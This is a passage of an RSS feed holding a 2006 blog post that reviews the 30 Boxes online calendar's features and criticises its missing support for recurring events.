30boxes allows you to define and invite buddies. Its similar to other calendars allowing you to [...]]]></description>
			<content:encoded><![CDATA[<h2>30boxes</h2>
<p>Honestly, I love 30 Boxes. Its a great service, and it has plenty of people who <a title="Listible Best Calendar List" href="http://www.listible.com/list/best-online-calendars">agree.</a> They are innovative, constantly coming out with creative features.</p>
<ul>
<li>Buddies</li>
<li>MySpace, Flickr, Upcoming and other Web 2.0 site integration</li>
<li>SMS and Email reminders</li>
<li>Integrated Mapping</li>
<li>Tags</li>
<li><a title="The One Box" href="http://30boxes.com/help.php">The One Box<br />
</a></li>
<li>Themes</li>
</ul>
<p><a title="Click to see a larger picture" target="_blank" href="http://static.zooomr.com/images/2aeb7d259d4d44efbd82ee4e7046e71678aa14d9.jpg"><img align="middle" title="30Boxes Screenshot showing the default themes" alt="30Boxes Screenshot showing the default themes" src="http://static.zooomr.com/images/b650539f3089681837e70774d1ba3036fdb9862e.jpg" /></a><br />
<span id="more-50"></span></p>
<h3>Buddies</h3>
<p>30boxes allows you to define and invite buddies. Its similar to other calendars allowing you to selectively share your caledar. Whats different about 30boxes is the ability to include RSS feeds in your calendar. So I can see when my buddies blogged about different events, and when the next events might happen. I can also send invites while adding an event, its part of The One Box.</p>
<h3>Web 2.0 Integration</h3>
<p>Like many sites out there, 30Boxes has taken advantage of RSS and API&#8217;s to integrate with other sites. A good example is Flickr, by simply adding your Flickr ID to 30Boxes you can get a Photostream from Flickr. It is preset to handle Flickr, Webshots, LiveJournal, MySpace, and Upcoming.org.</p>
<h3>SMS and Email Reminders</h3>
<p>30Boxes&#8217; integrated email reminders and SMS reminders early in the game, and it has been a lifesaver. Its nice to be able to blog about a move or a freelance job ahead of time and get a reminder before I reach panic time. It could also be a nice way to transfer events to your phone.</p>
<h3>Integrated Mapping</h3>
<p>Including brackets ([ ]) around an address in the One Box allows you to include a link to Google Maps in your event. Thus in one place it gives all the info I need.</p>
<h3>Tags</h3>
<p>What Web 2.0 site would be complete without tags? This is especially appealling to the GTD side of me, because I can use tags as contexts, and then I can print out views of only those tags. This is also nice because I can share only certain tags with certain people, thus giving me really nice privacy control</p>
<h3>The One Box</h3>
<p>Where do I start? Its a smart entry box. No more going through form after form, everything can be assigned from the One Box. You can add notes in parentheses, maps in brackets, color, tags, invites, and of course, time and event title.<br />
The entire thing is just great. I love it. So why do I have an issue?</p>
<h2>Repeat Functionality</h2>
<p>Hows the progress on repeat going? Its the <a title="Repeat Request" href="http://30boxes.com/forum/viewtopic.php?t=507">most</a> <a title="Repeat Request" href="http://30boxes.com/forum/viewtopic.php?t=506">requested</a> <a title="Another Request" href="http://30boxes.com/forum/viewtopic.php?t=504">feature</a> <a title="Repeat Request Again!" href="http://30boxes.com/forum/viewtopic.php?t=505">in</a> the <a title="Forum Repeat Request" href="http://30boxes.com/forum/viewtopic.php?t=503">forums</a>, and in contrast to Narendra&#8217;s comment to Will <a title="Will's Comment" href="http://30boxes.com/blog/index.php/2006/04/05/30-boxes-and-myspace-share-your-calendar/#comment-700">here</a>, saying:</p>
<blockquote><p>We added a fair amount of repeats and have been working hard on a bunch of other things including webcal and email to calendar before considering if we want to replicate the very arcane attributes of Outlook</p></blockquote>
<p>its not arcane. Its a needed feature, and it is part of the <a title="Recurrence Rule in RFC2445 (ical) reference" href="http://en.wikipedia.org/wiki/RFC2445_Syntax_Reference#rrule">iCal specification</a>. I don&#8217;t understand why it isn&#8217;t at the top of the <a title="30 Boxes Upcoming Features" href="http://30boxes.com/blog/index.php/upcoming-features/">upcoming features</a> list. They keep adding it peicemeal, but not all the way. <a title="GCal" href="http://calendar.google.com/">Google Calendar</a> has it. <a title="Yahoo Calendar" href="http://calendar.yahoo.com/">Yahoo Calendar</a> has it. It really shouldn&#8217;t be that hard. As it is, I think they are going to start losing users if they don&#8217;t implement it soon.</p>
]]></content:encoded>
			<wfw:commentRss>http://devillecompanies.org/2006/08/14/30-boxes-issue/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
